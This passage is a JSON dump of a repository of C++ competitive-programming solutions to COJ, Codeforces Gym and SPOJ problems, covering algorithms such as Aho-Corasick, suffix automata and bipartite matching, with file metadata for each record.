>> w[i];\n\t\t}\n\t\tfor (int i = 0; i < (1 << s); i++) {\n\t\t\tv[i].clear();\n\t\t}\n\t\tfor (int i = 0; i < s; i++) {\n\t\t\tv[1 << i].push_back(data(w[i], 0.0, 0.0));\n\t\t}\n\t\tfor (int mask = 1; mask < (1 << s); mask++) {\n\t\t\tfor (int x = mask; x > 0; x = (x - 1) & mask) {\n\t\t\t\tint y = mask ^ x;\n\t\t\t\tif (y == 0) {\n continue;\n\t\t\t\t}\n\t\t\t\t/*if (!( ((x | y) == mask) && ((x & y) == 0) )) {\n cerr << \"ERROR: \" << x << \" \" << y << \" \" << mask << \"\\n\";\n cerr << (x | y) << \" \" << (x & y) << \"\\n\";\n exit(0);\n\t\t\t\t}*/\n\t\t\t\t//assert(((x | y) == mask) && ((x & y) == 0));\n\t\t\t\tfor (int i = 0; i < v[x].size(); i++) {\n\t\t\t\t\tfor (int j = 0; j < v[y].size(); j++) {\n /*if (mask == (1 << s) - 1) {\n //cerr << v[x][i].peso << \" \" << v[x][i].largo << \" \" << v[x][i].pos << \" + \";\n //cerr << v[y][j].peso << \" \" << v[y][i].largo << \" \" << v[y][j].pos << \"\\n\";\n data tmp = merge(v[x][i], v[y][j]);\n cerr << tmp.largo << \"\\n\";\n //cerr << \"merge: \" << tmp.peso << \" \" << tmp.largo << \" \" << tmp.pos << \"\\n\";\n }*/\n\n\t\t\t\t\t\tdata tmp = merge(v[x][i], v[y][j]);\n\t\t\t\t\t\tif (tmp.largo <= r - 0.00001) {\n\t\t\t\t\t\t\tv[mask].push_back(tmp);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (!v[(1 << s) - 1].size()) {\n\t\t\tcout << \"-1\\n\";\n\t\t\tcontinue;\n\t\t}\n\t\tLD ans = v[(1 << s) - 1][0].largo;\n\t\tfor (int i = 1; i < v[(1 << s) - 1].size(); i++) {\n //cerr << v[(1 << s) - 1][i].largo << \"\\n\";\n\t\t\tans = max(ans, v[(1 << s)- 1][i].largo);\n\t\t}\n\t\tcout << fixed << ans << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3446115255355835, "alphanum_fraction": 0.3947368562221527, "avg_line_length": 22.9375, "blob_id": "4522d28a458addb6418dcb3e48390faaf8371b61", "content_id": "653e5c110b849d7214d3acffeeb4ffd6c73e90cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 798, "license_type": "no_license", "max_line_length": 53, "num_lines": 32, "path": "/COJ/eliogovea-cojAC/eliogovea-p2792-Accepted-s620982.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 40010;\r\n\r\ntypedef long long ll;\r\n\r\nll n, r;\r\nint ang[MAXN], cas;\r\nll sol;\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n while (scanf(\"%lld%lld\", &n, &r) && n | r) {\r\n sol = n * (n - 1ll) * (n - 2ll) / 6ll;\r\n for (int i = 0, a, b; i < n; i++) {\r\n scanf(\"%d.%d\", &a, &b);\r\n ang[i] = 1000 * a + b;\r\n ang[n + i] = ang[i] + 360000;\r\n }\r\n sort(ang, ang + 2 * n);\r\n for (int p1 = 0, p2 = 0; p1 < n; p1++) {\r\n while (ang[p1] + 180000 >= ang[p2]) p2++;\r\n p2--;\r\n ll x = ll(p2 - p1);\r\n sol -= x * (x - 1ll) / 2ll;\r\n }\r\n printf(\"Case %d: %lld\\n\", ++cas, sol);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.46216216683387756, "alphanum_fraction": 0.4675675630569458, "avg_line_length": 22.66666603088379, "blob_id": "cc3011f6f12beac4c212040cf92aee606be325b7", "content_id": "fa44ca5019d516b961781641ce3ca8138d2d7e81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 370, "license_type": "no_license", "max_line_length": 82, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p2202-Accepted-s622941.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nlong long xa, ya, za, xb, yb, zb, dx, dy, dz, g;\r\n\r\nint main() {\r\n while (scanf(\"%lld%lld%lld%lld%lld%lld\", &xa, &ya, &za, &xb, &yb, &zb) == 6) {\r\n dx = abs(xa - xb);\r\n dy = abs(ya - yb);\r\n dz = abs(za - zb);\r\n printf(\"%lld\\n\", 1ll + __gcd(dx, __gcd(dy, dz)));\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.44584646821022034, "alphanum_fraction": 0.46477392315864563, "avg_line_length": 19.133333206176758, "blob_id": "76cef07e1033213ec99c6e2abe5482f9c7ce2f64", "content_id": "54130aa73e8bcd6227395fe06e67da3473fed021", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1902, "license_type": "no_license", "max_line_length": 55, "num_lines": 90, "path": "/COJ/eliogovea-cojAC/eliogovea-p1865-Accepted-s659058.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <queue>\r\n#include <algorithm>\r\n#include <fstream>\r\n#include <map>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 30000, alph = 26;\r\n\r\nstruct vertex {\r\n\tint fin;\r\n\tint fail;\r\n\tint link;\r\n\tint next[alph];\r\n\tvertex() {\r\n\t\tfin = fail = link = -1;\r\n\t\tfor (int i = 0; i < alph; i++) next[i] = -1;\r\n\t}\r\n} T[MAXN];\r\n\r\nint n, m, states = 1;\r\nstring W[MAXN], P[MAXN];\r\nmap<string, int> sol;\r\n\r\nvoid add(int pos) {\r\n\tconst string &s = P[pos];\r\n\tint cur = 0;\r\n\tfor (int i = 0; s[i]; i++) {\r\n\t\tchar c = s[i] - 'a';\r\n\t\tif (T[cur].next[c] == -1)\r\n\t\t\tT[cur].next[c] = states++;\r\n\t\tcur = T[cur].next[c];\r\n\t}\r\n\tT[cur].fin = pos;\r\n}\r\n\r\nqueue<int> Q;\r\n\r\nvoid build() {\r\n\tfor (int i = 0; i < m; i++) add(i);\r\n\tfor (int i = 0; i < alph; i++)\r\n\t\tif (T[0].next[i] == -1) {\r\n\t\t\tT[0].next[i] = 0;\r\n\t\t}\r\n\t\telse {\r\n\t\t\tT[T[0].next[i]].fail = 0;\r\n\t\t\tQ.push(T[0].next[i]);\r\n\t\t}\r\n\twhile (!Q.empty()) {\r\n\t\tint cur = Q.front(); Q.pop();\r\n\t\tfor (int i = 0; i < alph; i++)\r\n\t\t\tif (T[cur].next[i] != -1) {\r\n\t\t\t\tint next = T[cur].next[i];\r\n\t\t\t\tint fail = T[cur].fail;\r\n\t\t\t\twhile (T[fail].next[i] == -1)\r\n\t\t\t\t\tfail = T[fail].fail;\r\n\t\t\t\tfail = T[fail].next[i];\r\n\t\t\t\tT[next].fail = fail;\r\n\t\t\t\tif (T[fail].fin != -1) T[next].link = fail;\r\n\t\t\t\telse T[next].link = T[fail].link;\r\n\t\t\t\tQ.push(next);\r\n\t\t\t}\r\n\t}\r\n}\r\n\r\nvoid match(int pos) {\r\n\tconst string &s = W[pos];\r\n\tint cur = 0;\r\n\tfor (int i = 0; s[i]; i++) {\r\n\t\tchar c = s[i] - 'a';\r\n\t\twhile (T[cur].next[c] == -1)\r\n\t\t\tcur = T[cur].fail;\r\n cur = T[cur].next[c];\r\n\t\tif (T[cur].fin != -1) sol[P[T[cur].fin]]++;\r\n\t\tfor (int i = T[cur].link; i != -1; i = T[i].link)\r\n\t\t\tsol[P[T[i].fin]]++;\r\n\t}\r\n}\r\n\r\nint main() {\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) cin >> W[i];\r\n\tcin >> m;\r\n\tfor (int i = 0; i < m; i++) cin >> P[i];\r\n\tbuild();\r\n\tfor (int i = 0; i < n; i++) match(i);\r\n\tfor (int i = 0; i < m; i++) cout << sol[P[i]] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.46029412746429443, "alphanum_fraction": 0.489705890417099, "avg_line_length": 22.482759475708008, "blob_id": "e9a46956df1998ee82c328ad616e93930b4e7ea0", "content_id": "369ee4d1abdf4767de487fa169b024cd20eae32e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 680, "license_type": "no_license", "max_line_length": 62, "num_lines": 29, "path": "/Codeforces-Gym/100801 - 2015-2016 ACM-ICPC, NEERC, Northern Subregional Contest/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015-2016 ACM-ICPC, NEERC, Northern Subregional Contest\n// 100801C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstring a, b;\nlong long pre['z' + 5], suf['z' + 5];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n freopen(\"concatenation.in\", \"r\", stdin);\n freopen(\"concatenation.out\", \"w\", stdout);\n cin >> a >> b;\n long long ans = (long long)a.size() * (long long)b.size();\n for (int i = 1; a[i]; i++) {\n pre[a[i]]++;\n }\n for (int i = 0; i < b.size() - 1; i++) {\n suf[b[i]]++;\n }\n for (int i = 'a'; i <= 'z'; i++) {\n ans -= pre[i] * suf[i];\n }\n cout << ans << \"\\n\";\n}" }, { "alpha_fraction": 0.37701743841171265, "alphanum_fraction": 0.4009038209915161, "avg_line_length": 15.666666984558105, "blob_id": "eb75eae5e788082bea1b58d814022ee7a957acf0", "content_id": "b319bf9bf3987dac00439331028873c37d89355b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1549, "license_type": "no_license", "max_line_length": 45, "num_lines": 93, "path": "/Codeforces-Gym/100198 - 2003-2004 Summer Petrozavodsk Camp, Andrew Stankevich Contest 3 (ASC 3)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2003-2004 Summer Petrozavodsk Camp, Andrew Stankevich Contest 3 (ASC 3)\n// 100198B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 600;\n\nvector<int> g[MAXN];\n\ntypedef pair<int,int> par;\n\npar arr[MAXN];\nint sol[MAXN];\n\nint dic[MAXN];\nint a[MAXN];\n\nbool used[MAXN];\nint MT[MAXN];\nint ind[MAXN];\n\nbool dfs( int u ){\n if( used[u] ){\n return false;\n }\n\n used[u] = true;\n\n for(int i = 0; i < g[u].size() ; i++){\n int v = g[u][i];\n if( MT[v] == -1 || dfs( MT[v] ) ){\n MT[v] = u;\n sol[ arr[u-1].second ] = v;\n return true;\n }\n }\n\n return false;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n freopen(\"beloved.in\",\"r\",stdin);\n freopen(\"beloved.out\",\"w\",stdout);\n\n int n; cin >> n;\n\n for(int i = 0; i < n; i++){\n cin >> arr[i].first;\n arr[i].second = i+1;\n }\n\n sort( arr , arr + n , greater<par>() );\n\n for(int i = 0; i < n; i++){\n a[i+1] = arr[i].first;\n dic[ arr[i].second ] = i+1;\n }\n\n for(int i = 1; i <= n; i++){\n int u = dic[i];\n int ki; cin >> ki;\n for(int j = 1; j <= ki; j++){\n int v; cin >> v;\n g[u].push_back( v );\n }\n }\n\n for(int i = 0; i <= n; i++){\n MT[i] = -1;\n }\n\n\n for(int u = 1; u <= n; u++){\n for(int i = 0; i <= n; i++){\n used[i] = false;\n }\n dfs(u);\n }\n\n for(int i = 1; i <= n; i++){\n if( i > 1 ){\n cout << ' ';\n }\n cout << sol[i];\n }\n\n cout << '\\n';\n}" }, { "alpha_fraction": 0.4242857098579407, "alphanum_fraction": 0.4357142746448517, "avg_line_length": 23, "blob_id": "e369ffb5b7087efd3a5ee2e95d29bc2f68fce248", "content_id": "e84e888f114b01f6b4dd63e67ed0177e76a340e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 700, "license_type": "no_license", "max_line_length": 151, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p3376-Accepted-s1018956.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n;\r\n\tcin >> n;\r\n\tvector <int> x(n), y(n);\r\n\tvector <pair <int, pair <int, long long> > > v;\r\n\tv.reserve(n * n);\r\n\tlong long ans = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x[i] >> y[i];\r\n\t\tfor (int j = 0; j < i; j++) {\r\n\t\t\tv.emplace_back(make_pair(x[i] + x[j], make_pair(y[i] + y[j], (long long)(x[i] - x[j]) * (x[i] - x[j]) + (long long)(y[i] - y[j]) * (y[i] - y[j]))));\r\n\t\t}\r\n\t}\r\n\tsort(v.begin(), v.end());\r\n\tfor (int i = 0, j = 0; i <= v.size(); i++) {\r\n\t\tif (v[i] != v[j]) {\r\n\t\t\tans += ((long long)(i - j) * (i - j - 1LL)) / 2LL;\r\n\t\t\tj = i;\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3195488750934601, "alphanum_fraction": 0.3374060094356537, "avg_line_length": 20.069307327270508, "blob_id": "a3d9206c8fa2d31940f3359fc1e78e500337d34a", "content_id": "0db81cbb358ebf87416bf975c74fb8cf241642cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2128, "license_type": "no_license", "max_line_length": 77, "num_lines": 101, "path": "/Codeforces-Gym/101673 - 2017-2018 ACM-ICPC East Central North America Regional Contest (ECNA 2017)/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2017-2018 ACM-ICPC East Central North America Regional Contest (ECNA 2017)\n// 101673E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 510;\n\nint n;\nunordered_map<string,int> dic;\n\nconst int oo = (1<<29);\n\ninline int getId( string s ){\n if( dic.find( s ) == dic.end() ){\n dic[s] = ++n;\n }\n return dic[s];\n}\n\nbool is[MAXN][MAXN];\nint mx[MAXN][MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int N, m; cin >> N >> m;\n\n for( int i = 0; i < MAXN; i++ ){\n for( int j = 0; j < MAXN; j++ ){\n mx[i][j] = -oo;\n }\n is[i][i] = true;\n }\n\n for( int i = 0; i < N; i++ ){\n string su, op, sv; cin >> su >> op >> sv;\n\n int u = getId( su );\n int v = getId( sv );\n\n if( op == \"is-a\" ){\n is[u][v] = true;\n mx[u][v] = max( mx[u][v] , 0 );\n }\n else{\n mx[u][v] = 1;\n }\n }\n\n for (int it = 0; it < 5; it++) {\n for( int k = 1; k <= n; k++ ){\n for( int i = 1; i <= n; i++ ){\n for( int j = 1; j <= n; j++ ){\n is[i][j] = is[i][j] || (is[i][k] && is[k][j]);\n\n if( mx[i][k] != -oo && mx[k][j] != -oo ){\n mx[i][j] = max( mx[i][j] , max(mx[i][k], mx[k][j]) );\n }\n }\n }\n }\n }\n\n\n for( int q = 1; q <= m; q++ ){\n string su, op, sv; cin >> su >> op >> sv;\n if( dic.find( su ) == dic.end() || dic.find( sv ) == dic.end() ){\n cout << \"Query \" << q << \": false\\n\";\n continue;\n }\n\n int u = getId(su);\n int v = getId(sv);\n\n cout << \"Query \" << q << \": \";\n\n if( op == \"is-a\" ){\n if( is[u][v] ){\n cout << \"true\";\n }\n else{\n cout << \"false\";\n }\n }\n else{\n if( mx[u][v] < 1 ){\n cout << \"false\";\n }\n else{\n cout << \"true\";\n }\n }\n\n cout << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.6401869058609009, "alphanum_fraction": 0.6500245928764343, "avg_line_length": 25.575162887573242, "blob_id": "0bd2fac7e7293654cc6e13b1f1dd0ace5c16ba3d", "content_id": "5a18bd0fc3e27aa6eb6ce3ee6084660734a1ae07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4066, "license_type": "no_license", "max_line_length": 122, "num_lines": 153, "path": "/SPOJ/NSUBSTR.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/***\n\tSPOJ - NSUBSTR - Substrings\n\tEl problema nos pide decir para cada numero l decir la mayor frecuencia de\n\tuna palabra de largo l en la cadena s\n\tPara resolverlo construimos es Suffix Automaton de s porque:\n\t1:\n\t\tpodemos calcular para cada estado los largos de las cadenas que ese estado acepta,\n\t\tqu estas estan en el intervalo [length[suffixlink[s]] + 1, length[s]]\n\t2:\n\t\tpodemos calcular para cada estado del automata la cantidad de cadenas contando repeticiones\n\t\tque aparecen el la cadena s utilizando los suffixLink, para esto contamos 1 en cada uno de los\n\t\testados que aceptan cada uno de los prefijos de s, ordenamos los estados por length y sumamos a cada\n\t\testado el cnt de los estados que lo tienen a el como suffixLink\n\tEl problema se reduce entonces a que tengo un conjunto de intervalos con un valor determinado\n\t(para cada estado s el intervalo es desde length[suffixLink[s]] + 1, hasta length[s], y el valor\n\tes la cantidad de repeticiones de ese estado en s), y un conjunto de queries que son para un numero x\n\tdecir cual es el mayor calor de los intervalos a los que x pertenece\n\tCon toda esta informacion podemos hacerlo offline\n\tcreamos eventos para cada largo que seran las 'query', entonces para cada estado ponemos\n\tdos eventos uno que adiciona las repeticiones de ese estado en largo length[s] y otro que quita ese\n\tnumero para largo length[suffixLink[s]], manteniendo en un multiset (para poder insertar, eliminar y preguntar el maxino)\n\tlos valores de cnt activos\n\tcuando llegamos a un evento que sea una pregunta tenemos en el multiset todos los valores de los intervalos que\n\ttodavia estan abiertos y nos quedamos con el mayor, cuando es un evento de adicionar es que un intervalo comienza\n\ty insertamos el valor del intervalo en el multiset, si es un evento de quita es que en ese largo + 1 termina un intervalo\n\ty debemos quitarlo en el multiset\n \n**/\n \n#include <cstdio>\n#include <cstring>\n#include <vector>\n#include <algorithm>\n#include <set>\n#include <map>\n \nusing namespace std;\n \nconst int MAXN = 250000;\nconst int MAXS = 2 * MAXN;\n \nint length[MAXS + 1];\nmap <char, int> next[MAXS + 1];\nint suffixLink[MAXS + 1];\n \nint size;\nint last;\n \nint getNew(int _length) {\n\tint now = size++;\n\tlength[now] = _length;\n\tnext[now] = map <char, int> ();\n\tsuffixLink[now] = -1;\n\treturn now;\n}\n \nint getClone(int from, int _length) {\n\tint now = size++;\n\tlength[now] = _length;\n\tnext[now] = next[from];\n\tsuffixLink[now] = suffixLink[from];\n\treturn now;\n}\n \nvoid init() {\n\tsize = 0;\n\tlast = getNew(0);\n}\n \nvoid add(int c) {\n\tint p = last;\n\tint cur = getNew(length[p] + 1);\n\twhile (p != -1 && next[p].find(c) == next[p].end()) {\n\t\tnext[p][c] = cur;\n\t\tp = suffixLink[p];\n\t}\n\tif (p == -1) {\n\t\tsuffixLink[cur] = 0;\n\t} else {\n\t\tint q = next[p][c];\n\t\tif (length[p] + 1 == length[q]) {\n\t\t\tsuffixLink[cur] = q;\n\t\t} else {\n\t\t\tint clone = getClone(q, length[p] + 1);\n\t\t\tsuffixLink[q] = clone;\n\t\t\tsuffixLink[cur] = clone;\n\t\t\twhile (p != -1 && next[p][c] == q) {\n\t\t\t\tnext[p][c] = clone;\n\t\t\t\tp = suffixLink[p];\n\t\t\t}\n\t\t}\n\t}\n\tlast = cur;\n}\n \nint freq[MAXS];\nint order[MAXS];\n \nint cnt[MAXS];\n \nint n;\nchar s[MAXN];\n \nmultiset <int> active;\n \nvector <int> Eadd[MAXN];\nvector <int> Eremove[MAXN];\n \nint main() {\n \n\tgets(s);\n\tn = strlen(s);\n \n\t/// build the automaton\n\tinit();\n\tfor (int i = 0; i < n; i++) {\n\t\tadd(s[i]);\n\t\tcnt[last]++;\n\t}\n \n\t/// counting sort\n\tfor (int i = 0; i < size; i++) {\n\t\tfreq[length[i]]++;\n\t}\n\tfor (int i = 1; i <= n; i++) {\n\t\tfreq[i] += freq[i - 1];\n\t}\n\tfor (int i = 0; i < size; i++) {\n\t\torder[--freq[length[i]]] = i;\n\t}\n \n\tfor (int i = size - 1; i > 0; i--) {\n\t\tint s = order[i];\n\t\tcnt[suffixLink[s]] += cnt[s];\n\t}\n \n\t/// add or remove events\n\tfor (int s = 1; s < size; s++) {\n\t\tEadd[length[suffixLink[s]] + 1].push_back(cnt[s]);\n\t\tEremove[length[s]].push_back(cnt[s]);\n\t}\n \n\tfor (int l = 1; l <= n; l++) {\n\t\tfor (int i = 0; i < Eremove[l - 1].size(); i++) {\n\t\t\tactive.erase(active.find(Eremove[l - 1][i]));\n\t\t}\n\t\tfor (int i = 0; i < Eadd[l].size(); i++) {\n\t\t\tactive.insert(Eadd[l][i]);\n\t\t}\n \n\t\tprintf(\"%d\\n\", *active.rbegin());\n\t}\n}\n" }, { "alpha_fraction": 0.3868715167045593, "alphanum_fraction": 0.4106145203113556, "avg_line_length": 15.651163101196289, "blob_id": "3dda86a6f9f00dbdcdd4ac420294a0ef1cf61a91", "content_id": "a0854ff992a0967e2ae5c4969a7f94e2da487451", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1432, "license_type": "no_license", "max_line_length": 67, "num_lines": 86, "path": "/Codeforces-Gym/100738 - KTU Programming Camp (Day 2)/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 2)\n// 100738D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\ntypedef pair<ll,ll> par;\n\nconst int MAXN = 200100ll;\n\npar arr[MAXN];\npar arcs[MAXN];\n\nbool ok(int n){\n if( n == 1 ){\n return (arr[0].first == 0ll);\n }\n\n if(arr[0].first != 1ll){\n return false;\n }\n\n int h = 0, v = 0;\n\n for(; v < n; v++){\n if( arr[v].first > 1 ){\n break;\n }\n }\n\n if( v == n ){\n return false;\n }\n\n int sz = 0;\n for(; v < n-1; v++){\n while( h < v && arr[v].first > 1ll ){\n arr[v].first--;\n arcs[sz++] = par(arr[v].second , arr[h].second);\n h++;\n }\n if(arr[v].first > 1ll){\n return false;\n }\n }\n\n while( h < v && arr[v].first >= 0ll ){\n arr[v].first--;\n arcs[sz++] = par(arr[h].second , arr[v].second);\n h++;\n }\n\n if(arr[v].first != 0ll || h != v){\n return false;\n }\n\n return true;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n; cin >> n;\n\n for(int i = 0; i < n; i++){\n cin >> arr[i].first;\n arr[i].second = i+1;\n }\n\n sort( arr, arr + n );\n\n if( !ok(n) ){\n cout << \"-1\\n\";\n }\n else{\n for(int i = 0; i < n-1; i++){\n cout << arcs[i].first << ' ' << arcs[i].second << '\\n';\n }\n }\n}\n" }, { "alpha_fraction": 0.378303200006485, "alphanum_fraction": 0.39499303698539734, "avg_line_length": 15.975000381469727, "blob_id": "60ea863d44f3b2349e61c88862e085166bd8c665", "content_id": "388d8b0c4dcb9dd290ac956aa5f5cdffc411cdb5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1438, "license_type": "no_license", "max_line_length": 59, "num_lines": 80, "path": "/COJ/eliogovea-cojAC/eliogovea-p3315-Accepted-s815650.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1005;\r\nconst int M = 10005;\r\n\r\nint n, m;\r\nint from[M], to[M];\r\nchar type[M];\r\n\r\nvector<int> g[N];\r\n\r\nint tt[N];\r\n\r\nbool dfs(int u, int t, int lim) {\r\n\ttt[u] = t;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint id = g[u][i];\r\n\t\tif (id > lim) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tint v = (from[id] == u) ? to[id] : from[id];\r\n\t\tif (tt[v] != -1 && (tt[v] != t ^ (type[id] == 'L'))) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tif (tt[v] == -1 && !dfs(v, t ^ (type[id] == 'L'), lim)) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\t//ios::sync_with_stdio(false);\r\n\t//cin.tie(0);\r\n\tcin >> n >> m;\r\n\tfor (int i = 1; i <= m; i++) {\r\n\t\tcin >> from[i] >> to[i] >> type[i];\r\n\t\tg[from[i]].push_back(i);\r\n\t\tg[to[i]].push_back(i);\r\n\t}\r\n\tint lo = 1;\r\n\tint hi = m;\r\n\tint ans = 1;\r\n\twhile (lo <= hi) {\r\n\t\tint mid = (lo + hi) >> 1;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\ttt[i] = -1;\r\n\t\t}\r\n\t\tbool ok = true;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tif (tt[i] == -1) {\r\n\t\t\t\tok &= dfs(i, false, mid);\r\n\t\t\t\tif (!ok) {\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (ok) {\r\n\t\t\tfor (int i = 1; i <= mid; i++) {\r\n\t\t\t\tif (type[i] == 'T' && (tt[from[i]] != tt[to[i]])) {\r\n\t\t\t\t\tok = false;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tif (type[i] == 'L' && (tt[from[i]] == tt[to[i]])) {\r\n\t\t\t\t\tok = false;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (ok) {\r\n\t\t\tans = mid;\r\n\t\t\tlo = mid + 1;\r\n\t\t} else {\r\n\t\t\thi = mid - 1;\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3059210479259491, "alphanum_fraction": 0.34046053886413574, "avg_line_length": 14.486486434936523, "blob_id": "bc7af9959f261f0b17fb7c09386a9baa544cc53c", "content_id": "be702e68d4cd50d52f097671e78b2f73c7ea4010", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 608, "license_type": "no_license", "max_line_length": 41, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p3128-Accepted-s776598.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint tc, n, ans, a[1005];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i <= 1000; i++) {\r\n\t\t\ta[i] = 0;\r\n\t\t}\r\n\t\tfor (int i = 0, x; i < n; i++) {\r\n\t\t\tcin >> x;\r\n\t\t\ta[x]++;\r\n\t\t}\r\n\t\tans = -1;\r\n\t\tfor (int i = 0; i <= 1000; i++) {\r\n\t\t\tif (a[i]) {\r\n\t\t\t\tfor (int j = 0; j < i; j++) {\r\n\t\t\t\t\tif (a[j]) {\r\n\t\t\t\t\t\tif (ans == -1 || ((i & j) > ans)) {\r\n\t\t\t\t\t\t\tans = (i & j);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tif (a[i] > 1 && ans < i) {\r\n\t\t\t\t\tans = i;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.2932489514350891, "alphanum_fraction": 0.32278481125831604, "avg_line_length": 25.882352828979492, "blob_id": "628a009807e79332e7bc2c0027836ac0bb000ddf", "content_id": "3e67984f0a466d2b053ba1d80e02b992a4fed6d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 474, "license_type": "no_license", "max_line_length": 45, "num_lines": 17, "path": "/COJ/eliogovea-cojAC/eliogovea-p1004-Accepted-s328254.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\nint main(){\r\n int n;\r\n cin >> n;\r\n for(int r=1; r<=n; r++){\r\n int n,m;\r\n cin >> n >> m;\r\n if(n==m && n%2==0) cout << \"L\\n\";\r\n if(n==m && n%2!=0) cout << \"R\\n\";\r\n if(n>m && m%2==0) cout << \"U\\n\";\r\n if(n>m && m%2==1 ) cout << \"D\\n\";\r\n if(n<m && n%2==0) cout << \"L\\n\";\r\n if(n<m && n%2==1) cout << \"R\\n\";\r\n }\r\nreturn 0;\r\n }\r\n" }, { "alpha_fraction": 0.3984375, "alphanum_fraction": 0.421875, "avg_line_length": 17.133333206176758, "blob_id": "18ec62eb896b1c6625dba6213995da46593a9b5f", "content_id": "3f36c806e0167539e0e12fc98703d9320b154cdb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2176, "license_type": "no_license", "max_line_length": 121, "num_lines": 120, "path": "/Codeforces-Gym/100503 - 2014-2015 CT S02E05: Codeforces Trainings Season 2 Episode 5 - 2009-2010 ACM-ICPC, NEERC, Southern Subregional Contest/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E05: 